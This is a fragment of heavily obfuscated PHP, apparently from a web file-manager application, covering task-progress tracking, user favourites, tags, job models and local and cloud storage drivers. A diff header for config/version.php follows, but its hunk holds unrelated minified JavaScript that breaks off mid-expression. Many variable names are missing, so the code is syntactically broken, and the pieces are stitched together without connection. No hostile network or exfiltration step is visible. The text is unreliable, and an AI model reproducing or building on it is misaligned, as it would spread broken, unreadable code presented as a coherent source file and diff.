$[$Ԥ[1838]] = 0; } Cache::remove($[$Ԥ[486]] . $Ԥ[1851]); self::log($Ԥ[1854] . $ . $Ԥ[73] . $ـ . $Ԥ[287] . $ . $Ԥ[1855] . $[$Ԥ[1835]]); } public function updateFileEnd($ȏ, $潋) { $́ =& $_SERVER[秼]; $ =& $this->task; $[$́[1835]] = $ȏ; $[$́[1837]] = $潋; $[$́[1841]] += $潋; $[$́[1842]] = $[$́[1841]]; $this->update(1); self::log($́[1856] . $ȏ); } public function sourceModelCopy($) { $ʍ =& $_SERVER[秼]; $ = $[0]; $ = $[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $ך = 0; switch ($Â) { case $ʍ[649]: $ך = 1; break; case $ʍ[652]: $[$ʍ[1835]] = $[$ʍ[32]]; break; case $ʍ[654]: $ך = intval($[$ʍ[467]] * 0.4); break; case $ʍ[656]: $ך = intval($[$ʍ[467]] * 0.2); break; case $ʍ[658]: $ך = intval($[$ʍ[467]] * 0.4); break; } $this->update($ך); $this->sourceModelCopyFlag = !1; } public function sourceRemove($, $) { $ =& $_SERVER[秼]; $this->sourceModelCopyFlag = !0; $짦 = 1; if (isset($[$[82]])) { $짦 = $[$[82]][$[80]]; $짦 = $짦 + $[$[82]][$[81]] + 1; } $this->update($짦); $this->sourceModelCopyFlag = !1; } public function sourceMove($«ޑ) { $this->sourceRemove($«ޑ, !1); } public function curlProgress($, $虌ٔ, $ʨ, $؍Ό, $é) { $ =& $_SERVER[秼]; $ձ =& $this->task; if ($é > 0) { $ձ[$[1151]] = $[1857]; $ձ[$[1839]] = $[110]; if ($ձ[$[1837]]) { $ձ[$[1838]] = $é; } if ($ձ[$[1840]]) { $ձ[$[1838]] = $é + $ձ[$[1840]]; } } else { if ($ʨ > 0) { if ($ձ[$[1837]] == $虌ٔ) { $ձ[$[1838]] = $ʨ; $ձ[$[1151]] = $[1858]; $ձ[$[1839]] = $[1288]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($) { $힔 =& $_SERVER[秼]; $ =& $this->task; $ = curl_getinfo($); $ĝ = $[$힔[1859]]; if ($ĝ == -1) { $ĝ = $[$힔[1860]]; } if ($[$힔[1839]] == $힔[110] && $ĝ) { $[$힔[1840]] += $ĝ; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[秼]; $å =& $this->task; $å[$[1861]] = 1; Hook::bind($[1829], array($this, $[1862])); Hook::bind($[1831], array($this, $[1863])); Hook::bind($[1833], array($this, $[1864])); } protected function endAfter() { $ӣ =& $_SERVER[秼]; Hook::unbind($ӣ[1829], array($this, $ӣ[1862])); Hook::unbind($ӣ[1831], array($this, $ӣ[1863])); Hook::unbind($ӣ[1833], array($this, $ӣ[1864])); } public function progressStart($Ҫ) { $ =& $_SERVER[秼]; $ߐ = curl_getinfo($Ҫ); self::log($[1865] . $ߐ[$[384]]); self::valueSet($this->task[$[486]], $this->task); } public function progressEnd($⩭) { $ =& $_SERVER[秼]; self::log($[1866] . $this->task[$[486]]); $this->end(); } public function progress($˯, $, $Ź, $, $۩Ճ) { $ =& $_SERVER[秼]; $ =& $this->task; if ($۩Ճ > 0) { $[$[1149]] = $[$[1149]] == 0 ? $ : $[$[1149]]; $[$[1784]] = $۩Ճ; } else { if ($Ź > 0) { $[$[1149]] = $[$[1149]] == 0 ? $ : $[$[1149]]; $[$[1784]] = $Ź; } } $this->update(); self::log("\160\x72\157\x67\x72\145\163\163\110\x74\164\160\x3a\x64\157\x77\156\x3a{$Ź}\57{$}\x3b\40\x75\160\x6c\x6f\x61\x64\x3a{$۩Ճ}\57{$}\73"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $އ = '', $ = 0, $ = '') { $ɸ =& $_SERVER[秼]; $ = $ ? $ : ($އ ? $އ : $); $͢ = new Task($, $އ, $, $); $GLOBALS[$ɸ[1867] . $] = new TaskLog($ɸ[1766], $͢, $); return $͢; } public function __construct($ = '', $ұ = '', $鐗 = '') { $ =& $_SERVER[秼]; if (!$) { $ = $[1766]; } $ʵ = $ . $[473] . rand_string(10); if (!$鐗) { $鐗 = $ . $[53] . $鐗; } switch ($) { case $[1766]: if (!$ұ || !$ұ->task) { return echoLog($ . $[1868]); } $ = $ұ; $ʵ = $->task[$[486]]; $ = $->task[$[486]]; if (!$->task[$[1671]]) { $->task[$[1671]] = $鐗 ? $鐗 : $; } break; case $[1869]: if (!$ұ) { return echoLog($ . $[1870]); } $͆ޑ = is_string($ұ) ? array($ұ) : $ұ; $ = new TaskFileTransfer($ʵ, $, 0, $鐗 ? $鐗 : $͆ޑ[0]); foreach ($͆ޑ as $Ȍ) { $->addPath($Ȍ); } break; case $[390]: if (!$ұ) { return echoLog($ . $[1870]); } $͆ޑ = is_string($ұ) ? array($ұ) : $ұ; $ = new TaskZip($ʵ, $, 0, $鐗 ? $鐗 : $͆ޑ[0]); foreach ($͆ޑ as $Ȍ) { $->addPath($Ȍ); } break; case $[1308]: if (!$ұ) { return echoLog($ . $[1870]); } $ = new TaskUnZip($ʵ, $, 0, $鐗 ? $鐗 : $ұ); if ($ұ) { $->addFile($ұ); } break; case $[152]: $ = new TaskHttp($ʵ, $); break; default: return; break; } $this->task = $; $this->taskID = $ʵ; Hook::bind($[1804], array($this, $[1871])); Hook::bind($[1806], array($this, $[1872])); Hook::bind($[1800], array($this, $[1873])); echoLog($[1874] . $->task[$[1671]]); } public function __destruct() { $this->end(); } public function end($ʼn = '') { $뫇 =& $_SERVER[秼]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($ʼn); $this->task = !1; $this->taskID = !1; Hook::unbind($뫇[1804], array($this, $뫇[1871])); Hook::unbind($뫇[1806], array($this, $뫇[1872])); Hook::unbind($뫇[1800], array($this, $뫇[1873])); } public function taskUpdate($˹) { $մҞ =& $_SERVER[秼]; if (!$˹ || $this->taskID != $˹[$մҞ[486]]) { return; } $ٜ = 20; $즁 = intval($˹[$մҞ[1785]] * $ٜ); $ = $մҞ[176] . str_repeat($մҞ[517], $즁) . $մҞ[1100] . str_repeat($մҞ[53], $ٜ - $즁) . $մҞ[178]; $LJ = $ . sprintf($մҞ[1875], $˹[$մҞ[1785]] * 100) . $մҞ[1876]; $콃 = $LJ . $˹[$մҞ[1784]] . $մҞ[8] . $˹[$մҞ[1149]] . LNG($մҞ[1877]); $ = $մҞ[12]; if ($˹[$մҞ[1861]]) { $콃 = $LJ . size_format($˹[$մҞ[1784]]) . $մҞ[8] . size_format($˹[$մҞ[1149]]); $ = size_format($˹[$մҞ[1786]]) . $մҞ[1878]; } if ($˹[$մҞ[1151]]) { $˹[$մҞ[1835]] = $˹[$մҞ[1151]] . $մҞ[53] . $˹[$մҞ[1835]]; } if ($˹[$մҞ[1835]]) { $ = $մҞ[12]; if ($˹[$մҞ[1837]]) { $ = $մҞ[50] . size_format($˹[$մҞ[1838]]) . $մҞ[8] . size_format($˹[$մҞ[1837]]); } $ .= $˹[$մҞ[1835]] . $; } if ($˹[$մҞ[851]] && !$˹[$մҞ[1837]]) { $ .= $մҞ[53] . size_format($˹[$մҞ[1842]]) . $մҞ[8] . size_format($˹[$մҞ[851]]); } echoLog($콃 . $մҞ[53] . $, !0); } public function taskEnd($ߤ) { $ƭ =& $_SERVER[秼]; if (!$ߤ || $this->taskID != $ߤ[$ƭ[486]]) { return; } $ = $ߤ ? LNG($ƭ[1879]) . $ƭ[4] . $ߤ[$ƭ[1784]] . $ƭ[8] . $ߤ[$ƭ[1149]] . LNG($ƭ[1877]) . $ƭ[74] : $ƭ[12]; echoLog($ƭ[1880] . $ߤ[$ƭ[1671]] . ($ߤ[$ƭ[537]] ? $ƭ[74] . $ߤ[$ƭ[537]] : $ƭ[12]) . $ƭ[74] . $ . $ƭ[1881] . sprintf($ƭ[940], timeFloat() - $ߤ[$ƭ[1787]]) . $ƭ[1799]); $this->end(); } public function taskKill($؍ؖ) { $ =& $_SERVER[秼]; if (!$؍ؖ || $this->taskID != $؍ؖ[$[486]]) { return; } echoLog($[1882] . $؍ؖ[$[1671]]); } } goto E; Aߗ: class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\155\56\x74\141\163\x6b\x4c\x69\163\164"; public $field = array("\156\141\155\145", "\x74\x79\x70\145", "\145\x76\x65\x6e\164", "\164\x69\155\x65", "\x64\x65\163\x63", "\x73\171\163\164\x65\155", "\x65\x6e\141\142\x6c\145", "\x6c\141\x73\x74\122\165\156", "\x73\157\162\x74"); public function listData($ʺ = false, $ = "\x73\157\162\164", $ = false) { return parent::listData($ʺ, $, $); } public function add($) { $ҍ =& $_SERVER[秼]; $à = $this->findByName($[$ҍ[32]]); if ($Ã) { return !1; } $[$ҍ[1733]] = 0; $[$ҍ[2008]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[秼]; $ѩ = parent::listData(); $䛨 = array_to_keyvalue($ѩ, $[12], $[2008]); return empty($䛨) ? 0 : max($䛨) + 1; } public function update($, $ٌҚ) { $ѽ =& $_SERVER[秼]; $ھ = $this->listData($); $ = $this->findByName($ٌҚ[$ѽ[32]]); if (!$ھ || $ && $[$ѽ[486]] != $ھ[$ѽ[486]]) { return !1; } return parent::update($, $ٌҚ); } public function remove($, $ = false) { $ =& $_SERVER[秼]; $ܻ = $this->listData($); if (!$ܻ) { return; } if (!$ && $ܻ[$[191]] == $[91]) { return !1; } return parent::remove($); } public function enable($ݟ, $߃) { return $this->update($ݟ, array($_SERVER[秼][2458] => $߃)); } public function run($ڜ) { return $this->update($ڜ, array($_SERVER[秼][2470] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\x75\x73\145\x72\x5f\146\141\166"; protected function cacheFunctionAlias($) { $ =& $_SERVER[秼]; return array($[2099] => array(USER_ID, $[2471])); } protected function listData() { $ =& $_SERVER[秼]; $ޯ = array($[1774] => USER_ID, $[568] => 0); $ = $[2472]; $ = $this->field($)->where($ޯ)->order($[2473])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ʖ =& $_SERVER[秼]; $ٷ = $this->listData(); $¶ = array_filter_by_field($ٷ, $ʖ[33], $ʖ[501]); $ = array_to_keyvalue($¶, $ʖ[12], $ʖ[87]); if (!$) { return $ٷ; } $ = 2000; $ = array($ʖ[502] => array($ʖ[503], $)); $ = Model($ʖ[913])->listSource($, $); $ = array_merge($[$ʖ[86]], $[$ʖ[85]]); $ = array_to_keyvalue($, $ʖ[193]); foreach ($ٷ as $ҭ => $Ȟ鴟) { $ = $[$Ȟ鴟[$ʖ[87]]]; $ = $ ? $ : array(); $ٷ[$ҭ] = array_merge($, $Ȟ鴟); } return $ٷ; } protected function addFav($, $ = '', $ȬՈ = "\x73\x6f\165\x72\x63\145") { $ =& $_SERVER[秼]; $ڑ = array($[1774] => USER_ID, $[568] => 0, $[507] => $ȬՈ, $[506] => $); if ($this->where($ڑ)->find()) { return !1; } $ڑ = array($[1774] => USER_ID, $[568] => 0); $ = $this->where($ڑ)->max($[2008]); if (!$) { $ = 0; } if (!$ && $ȬՈ == $[501]) { $ = Model($[1430])->where(array($[502] => $))->find(); if (!$) { return !1; } $ = $[$[32]]; } $ = $this->getAutoName($); $ = array($[1774] => USER_ID, $[568] => 0, $[505] => $, $[506] => $, $[507] => $ȬՈ, $[1988] => $ + 1); return $this->add($); } protected function remove($ă) { $½ =& $_SERVER[秼]; $࿀ = array($½[1774] => USER_ID, $½[504] => $ă); return $this->where($࿀)->delete(); } protected function removeByName($籿) { $ =& $_SERVER[秼]; $ = array($[1774] => USER_ID, $[505] => $籿, $[568] => 0); return $this->where($)->delete(); } protected function rename($, $) { $Ͷ =& $_SERVER[秼]; if ($ == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $Ϡ = array($Ͷ[1774] => USER_ID, $Ͷ[568] => 0, $Ͷ[32] => $); return $this->where($Ϡ)->save(array($Ͷ[32] => $)); } protected function resetSort($ƥ) { $ =& $_SERVER[秼]; $ƥ = is_array($ƥ) ? $ƥ : array(); $͌ = array($[1774] => USER_ID); for ($追 = 0; $追 < count($ƥ); $追++) { $͌[$[504]] = $ƥ[$追]; $this->where($͌)->save(array($[1988] => $追 + 1)); } return !0; } protected function moveTop($̒) { $Հ =& $_SERVER[秼]; $ = array($Հ[1774] => USER_ID, $Հ[568] => 0); $̉٬ = $this->where($)->where(array($Հ[32] => $̒))->find(); if (!$̉٬) { return; } $ʨ = $this->field($Հ[486])->where($)->order($Հ[2473])->select(); $ʨ = array_to_keyvalue($ʨ, $Հ[12], $Հ[486]); $ = $ʨ; $ʨ = array_remove_value($ʨ, $̉٬[$Հ[486]]); array_unshift($ʨ, $̉٬[$Հ[486]]); return $this->resetSort($ʨ); } protected function moveBottom($) { $ =& $_SERVER[秼]; $⮙ = array($[1774] => USER_ID, $[568] => 0); $ = $this->where($⮙)->max($[2008]); $Ľ = array($[2008] => $ + 1); return $this->where($⮙)->where(array($[32] => $))->save($Ľ); } private function getAutoName($ʌ̾Č) { $ =& $_SERVER[秼]; $ = array($[1774] => USER_ID, $[568] => 0); $ = $this->field($[32])->where($)->select(); $ = array_to_keyvalue($, $[12], $[32]); if (!$ || !in_array($ʌ̾Č, $)) { return $ʌ̾Č; } for ($ = 0; $ < count($); $++) { if (!in_array($ʌ̾Č . "\50{$}\x29", $)) { return $ʌ̾Č . "\x28{$}\51"; } } return $ʌ̾Č . "\50{$}\x29"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\155\x2e\152\157\x62\114\151\163\x74"; public $field = array("\x6e\x61\x6d\x65", "\x64\145\x73\x63", "\163\x6f\162\x74"); const JOB_KEY = "\x73\145\x6c\x66\x4a\157\x62\114\151\x73\x74"; public function listData($݂ = false, $ź = "\x73\157\x72\x74", $ؔ = false) { return parent::listData($݂, $ź, $ؔ); } public function remove($ݲ) { return parent::remove($ݲ); } public function add($) { $۾ =& $_SERVER[秼]; if ($this->findByName($[$۾[32]])) { return !1; } $[$۾[2008]] = $this->getSort(); return parent::insert($); } private function getSort() { $ݐ =& $_SERVER[秼]; $Ʈ = parent::listData(); $槹 = array_to_keyvalue($Ʈ, $ݐ[12], $ݐ[2008]); return empty($槹) ? 0 : max($槹) + 1; } public function update($, $) { $Ŗ =& $_SERVER[秼]; $ = parent::listData($); $ = $this->findByName($[$Ŗ[32]]); if (!$ || $ && $[$Ŗ[486]] != $[$Ŗ[486]]) { return !1; } return parent::update($, $); } public function setUserJob($ڐ, $ᩏ) { $ꋒ =& $_SERVER[秼]; if (!is_array($ᩏ)) { $ᩏ = array($ᩏ); } $ˮ = parent::listData(); $ = array_to_keyvalue($ˮ, $ꋒ[32]); $ċ = $ꋒ[465]; foreach ($ᩏ as $Щ) { if ($[$Щ]) { $ċ .= $[$Щ][$ꋒ[486]] . $ꋒ[50]; } else { $ۘ = $this->add($Щ); $ċ .= $ۘ . $ꋒ[50]; } } $ċ = rtrim($ċ, $ꋒ[50]); Model($ꋒ[608])->metaSet($ڐ, self::JOB_KEY, $ċ); } public function getUserJob($ݧ) { $ = Model($_SERVER[秼][608])->metaGet($ݧ); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($ҹ) { $⠸ =& $_SERVER[秼]; $ɷ = explode($⠸[50], $ҹ); $㚤 = parent::listData(); $㚤 = array_remove_key($㚤, $⠸[233]); $ = array(); foreach ($ɷ as $֗) { if (isset($㚤[$֗])) { $[] = $㚤[$֗]; } } return $; } } goto B݈ő; DŸ: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[秼][1420]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($) { $ꭊȀ =& $_SERVER[秼]; global $config; return $this->iconvTo($, $config[$ꭊȀ[1449]], $config[$ꭊȀ[1448]]); } public function iconvSystem($ŷ) { $ =& $_SERVER[秼]; global $config; return $this->iconvTo($ŷ, $config[$[1448]], $config[$[1449]]); } public function getPathOuter($) { $Ⱥ =& $_SERVER[秼]; $ö = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($ö, 0, 2) == $Ⱥ[1420]) { $ö = BASIC_PATH . substr($ö, 2); } if (substr($, 0, 2) == $Ⱥ[1420]) { $ = BASIC_PATH . substr($, 2); } $ö = KodIO::clear($ö); $ = KodIO::clear($); $ = substr($, strlen($ö)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $Ⱥ[8] . ltrim($, $Ⱥ[8]); } public function mkfile($Ƣ, $ω = '', $ = REPEAT_RENAME) { $Ƣ = $this->iconvSystem($Ƣ); @touch($Ƣ); if ($ω) { file_put_contents($Ƣ, $ω); } @chmod($Ƣ, $this->pathAuth); if (is_file($Ƣ)) { return $this->getPathOuter($Ƣ); } $this->writeLog(__FUNCTION__ . $_SERVER[秼][1460], !0); return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($, $this->pathAuth, !0); @chmod($, $this->pathAuth); if (is_dir($)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[秼][1460], !0); return !1; } public function copyFile($ī, $) { $this->mkdir($this->pathFather($)); $ī = $this->iconvSystem($ī); $ = $this->iconvSystem($); $ = copy_64($ī, $); @chmod($, $this->pathAuth); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[秼][1460], !0); return !1; } public function moveFile($, $ʇ) { $this->mkdir($this->pathFather($ʇ)); $ = $this->iconvSystem($); $ʇ = $this->iconvSystem($ʇ); $֗ = intval(@rename($, $ʇ)); if (!$֗) { if ($֗ = intval(@copy_64($, $ʇ))) { @unlink($); } } @chmod($ʇ, $this->pathAuth); if ($֗) { return $this->getPathOuter($ʇ); } $this->writeLog(__FUNCTION__ . $_SERVER[秼][1460], !0); return !1; } public function movePath($DŽ, $, $ = false) { $Ɗ =& $_SERVER[秼]; $DŽ = $this->iconvSystem($DŽ); $ = $this->iconvSystem($); $ׯ = rtrim($, $Ɗ[8]) . $Ɗ[8] . ($ ? $ : get_path_this($DŽ)); if (file_exists($ׯ)) { return !1; } $ε = intval(@rename($DŽ, $ׯ)); $ε = file_exists($ׯ); if ($ε) { return $this->getPathOuter($ׯ); } $this->writeLog(__FUNCTION__ . $Ɗ[1460], !0); return !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (@unlink($)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[秼][1460], !0); return !1; } return !0; } public function delFolder($) { $ =& $_SERVER[秼]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($Ѡ = opendir($))) { return !1; } while (($ = readdir($Ѡ)) !== !1) { if ($ == $[10] || $ == $[1372]) { continue; } $섣 = $ . $[8] . $; if (is_file($섣) || is_link($섣)) { if (!unlink($섣)) { chmod($섣, $this->pathAuth); if (!unlink($섣)) { return !1; } } } else { if (is_dir($섣)) { chmod($섣, $this->pathAuth); $섣 = $this->iconvApp($섣); if (!$this->delFolder($섣)) { return !1; } } } } closedir($Ѡ); return rmdir($); } public function rename($º, $) { $ =& $_SERVER[秼]; $ = $this->fileNameAuto($this->pathFather($º), $); $ = $this->iconvSystem($); $º = $this->iconvSystem($º); $ = $this->pathFather($º); $Ù = rtrim($, $[8]) . $[8] . $; $乂 = @rename($º, $Ù); $Ù = $this->iconvApp($Ù); if ($乂) { return $this->getPathOuter($Ù); } $this->writeLog(__FUNCTION__ . $[1460], !0); return !1; } public function size($ц) { $ц = $this->iconvSystem($ц); return filesize_64($ц); } public function info($ԋ) { $ԋ = $this->iconvSystem($ԋ); if ($this->isFolder($ԋ)) { return $this->folderInfo($ԋ); } else { if ($this->isFile($ԋ)) { return $this->fileInfo($ԋ); } } return !1; } protected function infoChildren($, &$, $Ʊ = true) { $ƕǡ =& $_SERVER[秼]; check_abort_echo(); $ = rtrim($, $ƕǡ[8]) . $ƕǡ[8]; if ($Ʊ) { $ = $this->iconvSystem($); } if (!($ݚ厲 = @opendir($))) { return; } while (($ = readdir($ݚ厲)) !== !1) { if ($ == $ƕǡ[10] || $ == $ƕǡ[1372]) { continue; } $Ƥկ = $ . $; if (is_file($Ƥկ) || is_link($Ƥկ)) { $[$ƕǡ[80]]++; $[$ƕǡ[79]] += filesize_64($Ƥկ); } else { if (is_dir($Ƥկ)) { $[$ƕǡ[81]]++; $this->infoChildren($Ƥկ, $, !1); } } } closedir($ݚ厲); } private function folderInfo($ꅰ, $Ч = false) { $ =& $_SERVER[秼]; $ꅰ = rtrim($ꅰ, $[8]) . $[8]; $ = $this->iconvApp($this->pathThis($ꅰ)); if ($Ч) { return array($[32] => $, $[87] => $this->getPathOuter($ꅰ), $[33] => $[78]); } $۠ = array($[32] => $, $[87] => $this->getPathOuter($ꅰ), $[33] => $[78], $[233] => @filectime($ꅰ), $[88] => @filemtime($ꅰ), $[1464] => @fileatime($ꅰ), $[1465] => is_readable($ꅰ), $[1466] => is_writable($ꅰ), $[1467] => get_mode($ꅰ)); return $۠; } private function fileInfo($, $і = false) { $ =& $_SERVER[秼]; $Ի = $this->iconvApp($this->pathThis($)); if ($і) { return array($[32] => $Ի, $[87] => $this->getPathOuter($), $[33] => $[232], $[79] => $this->size($), $[169] => $this->ext($Ի)); } $Ҫ厕 = array($[32] => $Ի, $[87] => $this->getPathOuter($), $[33] => $[232], $[233] => @filectime($), $[88] => @filemtime($), $[1464] => @fileatime($), $[79] => $this->size($), $[169] => $this->ext($Ի), $[1465] => is_readable($), $[1466] => is_writable($), $[1467] => get_mode($)); return $Ҫ厕; } public function exist($ہ) { $ہ = $this->iconvSystem($ہ); return @file_exists($ہ); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($ٷ) { $ٷ = $this->iconvSystem($ٷ); return @is_dir($ٷ); } public function listPath($ϓ, $ = false) { $ =& $_SERVER[秼]; $ϓ = $this->iconvSystem($ϓ); $ϓ = rtrim($ϓ, $[8]) . $[8]; $DzĄ = array($[85] => array(), $[86] => array()); if (!($۪ = @opendir($ϓ))) { return $DzĄ; } while (($Ĩ = readdir($۪)) !== !1) { if ($Ĩ == $[10] || $Ĩ == $[1372]) { continue; } $Ҧ = $ϓ . $Ĩ; if (is_file($Ҧ)) { $DzĄ[$[86]][] = $this->fileInfo($Ҧ, $); } else { $DzĄ[$[85]][] = $this->folderInfo($Ҧ, $); } } closedir($۪); return $DzĄ; } public function listAll($ѿҙ, &$ = array()) { $ =& $_SERVER[秼]; $ѿҙ = $this->iconvSystem($ѿҙ); $ѿҙ = rtrim($ѿҙ, $[8]) . $[8]; if (!($ = @opendir($ѿҙ))) { return $; } while (($즥 = readdir($)) !== !1) { if ($즥 == $[10] || $즥 == $[1372]) { continue; } $ƺ = $ѿҙ . $즥; $씖 = is_dir($ƺ) && !is_link($ƺ) ? 1 : 0; $ƺ = $씖 ? $ƺ . $[8] : $ƺ; $[] = array($[87] => $ƺ, $[78] => $씖, $[88] => intval(@filemtime($ƺ)), $[79] => $씖 ? 0 : intval($this->size($ƺ))); if ($씖) { $this->listAll($ƺ, $); } } closedir($); return $; } public function has($塐, $ = false, $ȫ = true) { $ =& $_SERVER[秼]; $塐 = $this->iconvSystem($塐); $塐 = rtrim($塐, $[8]) . $[8]; if (!($ = @opendir($塐))) { return !1; } $ = 0; $൵ = 0; $ = 0; while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1372]) { continue; } $ = $塐 . $; if ($) { $++; if (@is_file($)) { $++; } else { $൵++; } if ($ > 10000) { break; } continue; } if ($ȫ) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $[8])) { return !0; } } } closedir($); if ($) { return array($[241] => $, $[242] => $൵); } return !1; } public function hashSimple($ˏ) { $ =& $_SERVER[秼]; if (!$ˏ) { return md5($[12]); } $ˏ = $this->iconvSystem($ˏ); $ = $this->size($ˏ); $ = 200; $ = 50; if ($ <= $ * $) { return $this->hashMd5($ˏ) . $; } $ = $[12]; $Ӫ = intval($ / $); $˚ = fopen($ˏ, $[1468]); if (!$˚) { return $; } for ($ = 0; $ < $; $++) { fseek_64($˚, $Ӫ * $); $ .= fread($˚, $); } fseek_64($˚, $ - $); $ .= fread($˚, $); fclose($˚); return md5($) . $; } public function getContent($) { $ = $this->iconvSystem($); return file_get_contents($); } public function setContent($, $ = '') { $ = $this->iconvSystem($); $ߙ۟ = @file_put_contents($, $, LOCK_EX); if (!$ߙ۟) { $this->writeLog(__FUNCTION__ . $_SERVER[秼][1460], !0); } clearstatcache(); @chmod($, $this->pathAuth); return $ߙ۟ === !1 ? !1 : !0; } public function fileSubstr($ϯ, $́緇 = 0, $ޕ = false) { $ =& $_SERVER[秼]; $ϯ = $this->iconvSystem($ϯ); if ($ޕ === !1) { $ޕ = $this->size($ϯ); } if ($ޕ <= 0) { return $[12]; } $ = fopen($ϯ, $[1468]); if (!$) { return !1; } fseek_64($, $́緇); $סט = fread($, $ޕ); fclose($); if (!$סט) { $this->writeLog(__FUNCTION__ . $[1460], !0); } return $סט; } public function upload($, $映, $Ì = false, $ס = REPEAT_REPLACE) { if ($Ì) { return $this->moveFile($映, $); } return $this->copyFile($映, $); } public function setModifyTime($ܡԖ, $þ = '') { @touch($ܡԖ, intval($þ)); } public function download($ޅߦ, $ォ) { return $this->iconvSystem($ޅߦ); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($ɑ) { parent::__construct($ɑ); $this->setSignVersion($_SERVER[秼][249]); } public function fileOutImage($, $ = 250) { $ǭµ =& $_SERVER[秼]; if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $); } $ = array($ǭµ[1469] => $ǭµ[1470] . $ . $ǭµ[1471]); $Ƥи = $this->link($, $); $this->fileOutLink($Ƥи); } public function fileOutLink($) { $Ϟ =& $_SERVER[秼]; if (substr($, 0, 7) == $Ϟ[218]) { $ = $Ϟ[219] . substr($, 7); } header($Ϟ[175] . $); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($ő) { parent::__construct($ő); $this->setSignVersion($_SERVER[秼][249]); } public function fileOutLink($ʌ) { $ר =& $_SERVER[秼]; if (substr($ʌ, 0, 7) == $ר[218]) { $ʌ = $ר[219] . substr($ʌ, 7); } header($ר[175] . $ʌ); die; } public function uploadFormData($ы, $ν = 3600) { return $this->uploadFormDataV2($ы, $ν); } } goto f; e蓊: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\x73\145\162\137\146\141\166"; protected function cacheFunctionAlias($) { $ϩ =& $_SERVER[秼]; return array($ϩ[2099] => array($ϩ[2524] . USER_ID, $ϩ[2100])); } protected function listData() { $吸 =& $_SERVER[秼]; $ᴅ = array($吸[1774] => USER_ID, $吸[568] => array($吸[2103], 0)); $ = $吸[2525]; $ = $this->field($)->where($ᴅ)->order($吸[2106])->select(); return $ ? $ : array(); } protected function addToTag($۟, $˃) { $ɨ =& $_SERVER[秼]; if (!Model($ɨ[2252])->listData($˃)) { return !1; } if (is_numeric($۟)) { $ۈ = Model($ɨ[913])->pathInfo($۟); if (!$ۈ) { return !1; } } else { $ۈ = IO::infoSimple($۟); if (!$ۈ) { return !1; } $ف = $ۈ[$ɨ[32]]; $ = $ۈ[$ɨ[33]]; if (isset($ۈ[$ɨ[496]])) { $ = $ۈ[$ɨ[496]] == $ɨ[91] ? $ɨ[78] : $ɨ[232]; } } $ = array($ɨ[1774] => USER_ID, $ɨ[568] => $˃, $ɨ[506] => $۟, $ɨ[507] => $ ? $ : $ɨ[501], $ɨ[505] => $ف ? $ف : $ɨ[12], $ɨ[1988] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($͏ܒ, $ڇ) { $ϩ =& $_SERVER[秼]; if (!Model($ϩ[2252])->listData($ڇ)) { return !1; } if (is_array($͏ܒ)) { $͏ܒ = array($ϩ[7], $͏ܒ); } $䊭 = array($ϩ[1774] => USER_ID, $ϩ[568] => $ڇ, $ϩ[506] => $͏ܒ); return $this->where($䊭)->delete(); } protected function removeByTag($Ǎ) { $篻ͮ =& $_SERVER[秼]; if (!$Ǎ) { return !1; } $˫ = array($篻ͮ[1774] => USER_ID, $篻ͮ[568] => $Ǎ); return $this->where($˫)->delete(); } protected function removeBySource($֢) { $ =& $_SERVER[秼]; if (is_array($֢)) { $֢ = array($[7], $֢); } $ˬ = array($[1774] => USER_ID, $[568] => array($[1100], 0), $[506] => $֢); return $this->where($ˬ)->delete(); } }
\ No newline at end of file
diff --git a/config/version.php b/config/version.php
index 31c5b729..0b53ebbc 100755
--- a/config/version.php
+++ b/config/version.php
@@ -1,3 +1,3 @@
"),this.wrapID="form-maker-"+roundString(4),this.formData=$.extend(!0,{},e.formData),this.getValueWith={},this.setValueWith={},this.checkFrom=new r["default"]({"parent":this})},"loadExtence":function(){for(var e=["button","cityPicker","codeEditor","htmlEditor","imageSelect","color","colorImage","colorLabel","dateTime","fileSelect","fontIcon","html","segment","select","selectTree","slider","tags","table","member/auth","member/group","member/job","member/role","member/user","member/userSelect","member/userGroup","member/groupAuth"],t=!1,i=(this.loadExtenceView={},this.bind("fieldLoad",function(e){this.loadExtenceView[e]=1,_.every(this.loadExtenceView)&&!t&&(t=!0,this._delay(function(){this.trigger("initFinished",this)},0))}),this.formRow$()),n=0;n .panel-form-body-main > .panel-form-body")).length?0!=t.find(".tab-content").length?t.find("> .tab-content > .form-row"):t.find("> .form-row"):this.$("> .form-row").add(i),e?i.filter('[data-key="'+e+'"]'):i):$("")},"input$":function(e){var t;return 